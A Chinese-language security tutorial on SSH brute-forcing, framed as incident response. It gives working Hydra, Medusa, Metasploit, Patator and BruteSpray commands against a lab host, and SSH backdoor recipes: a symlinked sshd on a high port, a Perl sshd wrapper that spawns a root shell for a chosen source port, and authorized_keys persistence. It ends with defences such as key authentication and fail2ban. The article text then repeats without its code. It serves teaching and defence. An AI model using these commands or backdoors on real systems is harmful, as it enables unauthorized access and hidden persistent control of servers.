应急响应之SSH暴力破解
字数 1284 2025-08-18 11:39:30

SSH暴力破解与防范技术详解

1. SSH协议简介

Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。

主要特点:

  • 加密的网络传输协议
  • 提供安全的远程登录和命令执行
  • 支持类Unix系统和Windows系统(Windows 10 1809版本已提供OpenSSH工具)

2. SSH暴力破解原理

SSH暴力破解是指攻击者通过尝试大量可能的用户名和密码组合来获取SSH服务访问权限的攻击方式。常见场景:

  • 针对短密码或简单密码(仅数字或仅字母)
  • 通过指定用户名爆破密码
  • 通过指定密码爆破用户名(较少使用)

3. 暴力破解工具详解

3.1 Hydra(九头蛇)

特点:

  • 多服务支持(Web登录、数据库、SSH、FTP等)
  • 跨平台支持(Linux、Windows、Mac)
  • Kali Linux自带

使用方法:

hydra -l test -P /home/test/桌面/TOP1000.txt -t 6 -vV 192.168.92.132 ssh

参数说明:

  • -l: 指定用户名
  • -P: 指定字典绝对路径
  • -t: 指定线程数
  • -vV: 详细输出模式

3.2 Medusa

特点:

  • 稳定性优于Hydra
  • 支持多种协议(AFP, CVS, FTP, HTTP等)
  • 模块支持少于Hydra

使用方法:

medusa -M ssh -h 192.168.92.132 -u test -P /home/test/桌面/TOP1000.txt

参数说明:

  • -M: 破解类型
  • -h: 目标IP
  • -u: 用户名
  • -P: 字典路径

3.3 Metasploit

特点:

  • 综合性渗透测试框架
  • 不显示爆破过程,只显示成功结果

使用方法:

msfconsole
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.92.132
set username test
set pass_file /path/to/dictionary
set threads 5
run

3.4 Patator

特点:

  • 模块化设计
  • 需要手动安装
  • 支持多用户密码破解

安装方法:

git clone https://github.com/lanjelot/patator.git
cd patator
python setup.py install

使用方法:
单用户:

./patator.py ssh_login host=192.168.92.132 user=test password=FILE0 0=/home/test/桌面/TOP1000.txt

多用户:

./patator.py ssh_login host=192.168.92.132 user=FILE1 1=/home/test/桌面/user.txt password=FILE0 0=/home/test/桌面/TOP1000.txt

3.5 BrutesPray

特点:

  • 基于nmap扫描结果
  • 自动调用Medusa
  • 声称速度比Hydra快

安装方法:

sudo apt-get update
sudo apt-get install brutespray

使用方法:

  1. 先进行nmap扫描:
nmap -v 192.168.92.0/24 -oX nmap.xml
  1. 使用BrutesPray:
brutespray -f /home/jhc/nmap.xml -u test --service ssh

4. SSH后门技术

4.1 软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=33223

使用方法:

ssh root@x.x.x.x -p 33223

特点:隐蔽性弱,易被检测

4.2 SSH Server wrapper后门

  1. 移动sshd:
cd /usr/sbin
mv sshd ../bin
  1. 编辑sshd:
vi sshd

加入内容:

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
  1. 修改权限:
chmod 755 sshd
  1. 使用socat:
socat STDIO TCP4:target_ip:22,sourceport=19526
  1. 免密登录:
ssh root@target_ip

4.3 SSH公钥免密

  1. 生成公私钥
  2. 将公钥复制到服务器的~/.ssh/authorized_keys
  3. 设置权限:
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

5. SSH暴力破解防范措施

  1. 使用SSH密钥认证:禁用口令认证,使用密钥认证
  2. 强密码策略
    • 增加密码长度
    • 提高密码复杂度(大小写字母+数字+特殊字符)
    • 定期更换密码
  3. 访问控制
    • 设置登录IP白名单
    • 设置登录用户名白名单
  4. 修改默认端口:更改SSH默认22端口
  5. 入侵检测:使用snort、ossec等入侵检测系统
  6. 其他措施
    • 限制登录尝试次数
    • 使用fail2ban等工具自动封禁暴力破解IP
    • 定期检查系统日志

6. 总结

SSH暴力破解是常见的服务器攻击手段,攻击者使用各种工具尝试穷举密码。防范措施应从认证方式、密码策略、访问控制等多方面入手,构建多层次防御体系。同时,管理员应定期检查系统安全状态,及时发现并处理异常登录行为。

SSH暴力破解与防范技术详解 1. SSH协议简介 Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中创建安全隧道来实现SSH客户端与服务器之间的连接。 主要特点: 加密的网络传输协议 提供安全的远程登录和命令执行 支持类Unix系统和Windows系统(Windows 10 1809版本已提供OpenSSH工具) 2. SSH暴力破解原理 SSH暴力破解是指攻击者通过尝试大量可能的用户名和密码组合来获取SSH服务访问权限的攻击方式。常见场景: 针对短密码或简单密码(仅数字或仅字母) 通过指定用户名爆破密码 通过指定密码爆破用户名(较少使用) 3. 暴力破解工具详解 3.1 Hydra(九头蛇) 特点: 多服务支持(Web登录、数据库、SSH、FTP等) 跨平台支持(Linux、Windows、Mac) Kali Linux自带 使用方法: 参数说明: -l : 指定用户名 -P : 指定字典绝对路径 -t : 指定线程数 -vV : 详细输出模式 3.2 Medusa 特点: 稳定性优于Hydra 支持多种协议(AFP, CVS, FTP, HTTP等) 模块支持少于Hydra 使用方法: 参数说明: -M : 破解类型 -h : 目标IP -u : 用户名 -P : 字典路径 3.3 Metasploit 特点: 综合性渗透测试框架 不显示爆破过程,只显示成功结果 使用方法: 3.4 Patator 特点: 模块化设计 需要手动安装 支持多用户密码破解 安装方法: 使用方法: 单用户: 多用户: 3.5 BrutesPray 特点: 基于nmap扫描结果 自动调用Medusa 声称速度比Hydra快 安装方法: 使用方法: 先进行nmap扫描: 使用BrutesPray: 4. SSH后门技术 4.1 软连接后门 使用方法: 特点:隐蔽性弱,易被检测 4.2 SSH Server wrapper后门 移动sshd: 编辑sshd: 加入内容: 修改权限: 使用socat: 免密登录: 4.3 SSH公钥免密 生成公私钥 将公钥复制到服务器的 ~/.ssh/authorized_keys 设置权限: 5. SSH暴力破解防范措施 使用SSH密钥认证 :禁用口令认证,使用密钥认证 强密码策略 : 增加密码长度 提高密码复杂度(大小写字母+数字+特殊字符) 定期更换密码 访问控制 : 设置登录IP白名单 设置登录用户名白名单 修改默认端口 :更改SSH默认22端口 入侵检测 :使用snort、ossec等入侵检测系统 其他措施 : 限制登录尝试次数 使用fail2ban等工具自动封禁暴力破解IP 定期检查系统日志 6. 总结 SSH暴力破解是常见的服务器攻击手段,攻击者使用各种工具尝试穷举密码。防范措施应从认证方式、密码策略、访问控制等多方面入手,构建多层次防御体系。同时,管理员应定期检查系统安全状态,及时发现并处理异常登录行为。